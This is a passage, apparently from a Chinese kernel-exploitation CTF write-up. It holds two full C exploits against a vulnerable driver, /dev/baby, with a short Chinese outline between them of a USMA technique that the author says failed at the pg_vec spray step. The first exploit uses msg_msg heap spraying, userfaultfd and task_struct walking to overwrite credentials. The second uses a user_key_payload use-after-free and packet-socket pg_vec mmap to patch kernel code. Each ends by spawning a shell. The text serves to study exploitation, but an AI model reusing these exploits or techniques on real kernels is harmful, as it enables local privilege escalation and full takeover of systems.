        register_userfaultfd(&thr2, (void*)(uffd_buf2+0x1000), 0x1000, handler_2);


        puts("[+] ==> START <==");
        memset(buf, 'A', 0x1000);
        add(0); // 0
        add(1); // 1
        add(3); // 3
        add(7); // 7
        dele(0);

        if ((qid = msgget(IPC_PRIVATE, IPC_CREAT|0666)) < 0) err_exit("FAILED to create a msg_queue");
        memset(msg_buffer, 'A', sizeof(msg_buffer));
        msg_msg = (struct msg_buf*)msg_buffer;
        msg_msg->m_type = 1;
        if (msgsnd(qid, msg_msg, 0x40-0x30, 0) < 0) err_exit("FAILED to msgsnd a 0x40 msg");

        add(0xffff);
        memset(msg_buffer, 0, sizeof(msg_buffer));
        for (int i = 0; i < SPARY_NUMS; i++)
        {
                if ((msg_idx[i] = msgget(0, IPC_PRIVATE|0666)) < 0) err_exit("FAILED to create a msg_queue");
                msg_msg->m_type = 1;
                *(uint64_t*)msg_msg->m_text = 0xAAAABBBBCCCCDDDD;
                *(uint64_t*)(msg_msg->m_text+8) = i;
                if (msgsnd(msg_idx[i], msg_msg, 0x40-0x30, 0) < 0) err_exit("FAILED to msgsnd a 0x40 msg");
        }


        sleep(0.1);
//      puts("[+] debugger");
//      add(20);
        memset(buf, 0, sizeof(buf));
        *(uint64_t*)(buf+0x10) = 1;
        *(uint64_t*)(buf+0x18) = 0x1000-0x30;
        for (int i = 0; i < 0x10000; i+=8)
        {
//              printf("[x] write i: %x\n", i);
                edit(i, buf);
        }

        memset(msg_buffer, 0, sizeof(msg_buffer));
        int res = msgrcv(qid, msg_msg, 0x1000-0x30, 0, MSG_COPY|IPC_NOWAIT|MSG_NOERROR);
        if (res < 0) err_exit("FAILED to OOR msg");
        hexx("msgrcv data len", res);
//      binary_dump("OOB data", msg_msg, 0x1000);

        kernel_offset = -1;
        int vim_qid = -1;
        for (int i = 0; i < 0x1000 / 8; i++)
        {
                size_t addr = *(size_t*)(msg_buffer+i*8);
                if (kernel_offset == -1)
                {
                        kernel_offset = leak_offset(addr);
                }

                if (vim_qid == -1 && addr == 0xAAAABBBBCCCCDDDD)
                {
                        vim_qid = *(int*)(msg_buffer+i*8+8);
                }

                if (kernel_offset != -1 && vim_qid != -1) break;
        }

        if (kernel_offset == -1) err_exit("FAILED to leak kernel_offset");
        hexx("kernel_offset", kernel_offset);

        if (vim_qid == -1) err_exit("FAILED to hit victim msg");
        hexx("victim msg queue idx", vim_qid);

        memset(msg_buffer, 'A', sizeof(msg_buffer));
        msg_msg->m_type = 2;
        if (msgsnd(msg_idx[vim_qid], msg_msg, 0x2000-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd a 0x40 msg");

        memset(msg_buffer, 0, sizeof(msg_buffer));
        res = msgrcv(qid, msg_msg, 0x1000-0x30, 0, MSG_COPY|IPC_NOWAIT|MSG_NOERROR);
        if (res < 0) err_exit("FAILED to OOR msg");
        hexx("msgrcv data len", res);
//      binary_dump("OOB data", msg_msg, 0x1000);

        for (int i = 0; i < 0x1000 / 8; i++)
        {
                size_t addr = *(size_t*)(msg_buffer+i*8);
                size_t idx = *(int*)(msg_buffer+i*8+8);
                if (addr == 0xAAAABBBBCCCCDDDD && idx == vim_qid)
                {
                        ll_next = *(uint64_t*)(msg_buffer+i*8-0x30);
                        ll_prev = *(uint64_t*)(msg_buffer+i*8-0x28);
                }
        }

        if (ll_next == -1 || ll_prev == -1)
                err_exit("FAILED to leak msg_seg addr");

        hexx("ll_next", ll_next);
        hexx("ll_prev", ll_prev);

        size_t tasks_off = 0x298;
        size_t pid_off = 0x398;
        size_t cred_off = 0x540;
        size_t init_task = 0xffffffff81c124c0 + kernel_offset;

        memset(buf, 0, sizeof(buf));
        struct msg_header* mh = (struct msg_header*)buf;
        mh->l_next = 0;
        mh->l_prev = 0;
        mh->m_type = 1;
        mh->m_ts = 0x2000-0x30-8;
        mh->security = 0;
        size_t real_pid = getpid();
        size_t cur_task = init_task;
        size_t cur_cred = 0;
        uint64_t* task_task = NULL;
        hexx("real_pid", real_pid);
        while (1)
        {
                mh->next = (void*)(cur_task - 8);
                edit(0, buf);
                memset(msg_buffer, 0, sizeof(msg_buffer));
                res = msgrcv(qid, msg_msg, 0x2000-0x30-8, 0, MSG_COPY|IPC_NOWAIT|MSG_NOERROR);
                if (res < 0x2000-0x30-8) err_exit("FAILED to OOR meg_segment");
                task_task = (uint64_t*)(msg_msg->m_text+0x1000-0x30);
                hexx("cur pid", task_task[pid_off/8]&0xffffffff);
                if (real_pid == (task_task[pid_off/8]&0xffffffff))
                {
                        //binary_dump("current task_struct", msg_buffer+0x1000, 0x1000);
                        cur_cred = task_task[cred_off/8];
                        break;
                }
                cur_task = task_task[tasks_off/8+1] - tasks_off;
        }

        hexx("cur_task", cur_task);
        hexx("cur_cred", cur_cred);
        cred_cred = cur_cred;

        res = msgrcv(msg_idx[vim_qid], msg_msg, 0x40-0x10, 1, IPC_NOWAIT|MSG_NOERROR);
        hexx("msgrcv to free", res);
        res = msgrcv(msg_idx[vim_qid], msg_msg, 0x2000-0x30-8, 2, IPC_NOWAIT|MSG_NOERROR);
        hexx("msgrcv to free", res);

        pthread_t th1, th2;
        res = pthread_create(&th1, NULL, thread_handler1, NULL);
        if (res != 0) err_exit("FAILED to create a new thread");
        res = pthread_create(&th2, NULL, thread_handler2, NULL);
        if (res != 0) err_exit("FAILED to create a new thread");


        pthread_join(th1, NULL);
        pthread_join(th2, NULL);

        hexx("UID", getuid());
        system("/bin/sh");
//      puts("[+] debugger");
//      add(20);
        puts("[X] Never EXP END");
        return 0;
}

效果如下:

USMA -- 并没有成功提权

利用思路如下:

1)add 一个 obj0

2)释放 obj0,分配 user_key_payload 占据 obj0

3)利用数组越界写 obj0 从而构造好 UAF

4)堆喷 user_key_payload;并 key_revoke 释放 user_key_payload

5)UAF 修改 UAF user_key_payload 的 datalen 实现越界读

6)user_key_payload 越界读泄漏 kernel_offset

7)key_revoke 释放 user_key_payload

---- 第8步就失败了-------------------------------------------------------------------------------------

8)堆喷 pgv 占据 UAF obj 《======= 失败,无法堆喷 pgv

9)UAF 修改 pg_vec 数组中的 pgv 地址为内核代码段地址

10)mmap 将内核代码段地址映射到用户空间,从而直接修改硬编码

exp 如下:虽然如此,但笔者认为其是一个不错的思路

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/if_packet.h>

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* root checker and shell poper */
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

    system("/bin/sh");

    /* to exit the process normally, instead of segmentation fault */
    exit(EXIT_SUCCESS);
}

/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}


struct note {
        int func_idx;
        int no_use0;
        uint64_t tag;
        char* ptr;
        uint64_t no_use1;
};


int fd;
void add(uint64_t tag)
{
        struct note n = { .tag = tag };
        ioctl(fd, 0x1001, &n);
}

void dele(uint64_t tag)
{
        struct note n = { .tag = tag };
        ioctl(fd, 0x1003, &n);
}

void edit(uint64_t tag, char* buf)
{
        struct note n = { .tag = tag, .ptr = buf };
        ioctl(fd, 0x1002, &n);
}

int key_alloc(char *description, char *payload, size_t plen)
{
    return syscall(__NR_add_key, "user", description, payload, plen,
                   KEY_SPEC_PROCESS_KEYRING);
}

int key_update(int keyid, char *payload, size_t plen)
{
    return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}

int key_read(int keyid, char *buffer, size_t buflen)
{
    return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}

int key_revoke(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}

int key_unlink(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}

void unshare_setup(void)
{
    char edit[0x100];
    int tmp_fd;

    if (unshare(CLONE_NEWNET))//CLONE_NEWNS))// | CLONE_NEWUSER | CLONE_NEWNET))
    {
         perror("[X] ERROR unshare");
         exit(EXIT_FAILURE);
    }

    tmp_fd = open("/proc/self/setgroups", O_WRONLY);
    write(tmp_fd, "deny", strlen("deny"));
    close(tmp_fd);

    tmp_fd = open("/proc/self/uid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", getuid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);

    tmp_fd = open("/proc/self/gid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", getgid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);
}

#ifndef ETH_P_ALL
#define ETH_P_ALL 0x0003
#endif

void packet_socket_rx_ring_init(int s, unsigned int block_size,
                                unsigned int frame_size, unsigned int block_nr,
                                unsigned int sizeof_priv, unsigned int timeout) {
    int v = TPACKET_V3;
    int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
    if (rv < 0) puts("setsockopt(PACKET_VERSION)"), exit(-1);

    struct tpacket_req3 req;
    memset(&req, 0, sizeof(req));
    req.tp_block_size = block_size;
    req.tp_frame_size = frame_size;
    req.tp_block_nr = block_nr;
    req.tp_frame_nr = (block_size * block_nr) / frame_size;
    req.tp_retire_blk_tov = timeout;
    req.tp_sizeof_priv = sizeof_priv;
    req.tp_feature_req_word = 0;

    rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
    if (rv < 0) puts("setsockopt(PACKET_RX_RING)"), exit(-1);
}

int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
                        unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
    int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (s < 0) perror("[X] socket(AF_PACKET)"), exit(-1);

    packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, sizeof_priv, timeout);

    struct sockaddr_ll sa;
    memset(&sa, 0, sizeof(sa));
    sa.sll_family = PF_PACKET;
    sa.sll_protocol = htons(ETH_P_ALL);
    sa.sll_ifindex = if_nametoindex("lo");
    sa.sll_hatype = 0;
    sa.sll_pkttype = 0;
    sa.sll_halen = 0;

    int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
    if (rv < 0) puts("bind(AF_PACKET)"), exit(-1);

    return s;
}
// count 为 pg_vec 数组的大小, 即 pg_vec 的大小为 count*8
// size/4096 为要分配的 order
int pagealloc_pad(int count, int size) {
    return packet_socket_setup(size, 2048, count, 0, 100);
}

#define KEY_SPRAY_NUMS 0x20
#define SPARY_PAGE_NUMS 0x1

int main(int argc, char** argv, char** env)
{
        //bind_core(0);
        //save_status();
        int pipe_fd[2];
        pipe(pipe_fd);

        pid_t pid = fork();
        if (!pid)
        {
                unshare_setup();
                char desc[8];
                char buf[0x1000];
                int key_id;
                int key_tmp[KEY_SPRAY_NUMS];
                size_t kernel_offset;
                size_t modprobe_path;

                fd = open("/dev/baby", O_RDONLY);
                if (fd < 0) err_exit("FAILED to open dev file");

                memset(buf, 'A', sizeof(buf));
                puts("[+] ==> START <==");
                add(0); // 0
                add(1); // 1
                add(3); // 3
                add(7); // 7
                dele(0);
                key_id = key_alloc("Pwner", buf, 17);
                if (key_id < 0) err_exit("FAILED to key_alloc to get UAF chunk");

                for (int i = 0; i < KEY_SPRAY_NUMS; i++)
                {
                        sprintf(desc, "%s%d", "Pwner", i);
                        key_tmp[i] = key_alloc(desc, buf, 17);
                        if (key_tmp[i] < 0) err_exit("FAILED to key_alloc to spary");
                }

                add(15); // 15
                for (int i = 0; i < KEY_SPRAY_NUMS; i++) key_revoke(key_tmp[i]);

                memset(buf, 0, sizeof(buf));
                *(uint64_t*)buf = 0;
                *(uint64_t*)(buf+8) = 0;
                *(uint64_t*)(buf+16) = 0xf00;
                edit(0, buf);
                memset(buf, 0, sizeof(buf));
                kernel_offset = -1;
                int res = key_read(key_id, buf, 0xf00);
                hexx("res", res);

                //binary_dump("OOB_READ DATA", buf, 0xf00);
                for (int i = 0; i < 0xf00 / 8; i++)
                {
                        if (*(uint64_t*)(buf+i*8) > 0xffffffff81000000 && (*(uint64_t*)(buf+i*8)&0xfff) == 0xf90)
                        {
                                kernel_offset = *(uint64_t*)(buf+i*8) - 0xffffffff811a3f90;
                                break;
                        }
                }

        //      for (int i = 0; i < KEY_SPRAY_NUMS; i++) key_unlink(key_tmp[i]);

                if (kernel_offset == -1) err_exit("FAILED to leak kernel offset");
                modprobe_path = kernel_offset + 0xffffffff81c337a0;
                hexx("kernel_offset", kernel_offset);
                hexx("modprobe_path", modprobe_path);

                key_revoke(key_id);

                char* page;
                int page_idx[SPARY_PAGE_NUMS];

                for (int i = 0; i < SPARY_PAGE_NUMS; i++)
                {
                        page_idx[i] = pagealloc_pad(8, 4096);
                }

                for (int i = 0; i < 0x30 / 8; i++)
                {
                        *(uint64_t*)(buf+i*8) = 0xFFFFFFFF81091000 + kernel_offset;
                }

                for (int i = 0; i < SPARY_PAGE_NUMS; i++)
                {
                        page = (char*)mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, page_idx[i], 0);
                        page[0x570] = 0xeb;
                }
                puts("[+] Child Process END");
                //add(1);
                write(pipe_fd[1], "A", 1);
        } else if (pid < 0) {

                err_exit("FAILED to fork");
        } else {
                char buf[1];
                read(pipe_fd[0], buf, 1);
                setresuid(0, 0, 0);
                hexx("UID", getuid());
                get_root_shell();
        }

        return 0;
}
评论 9
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值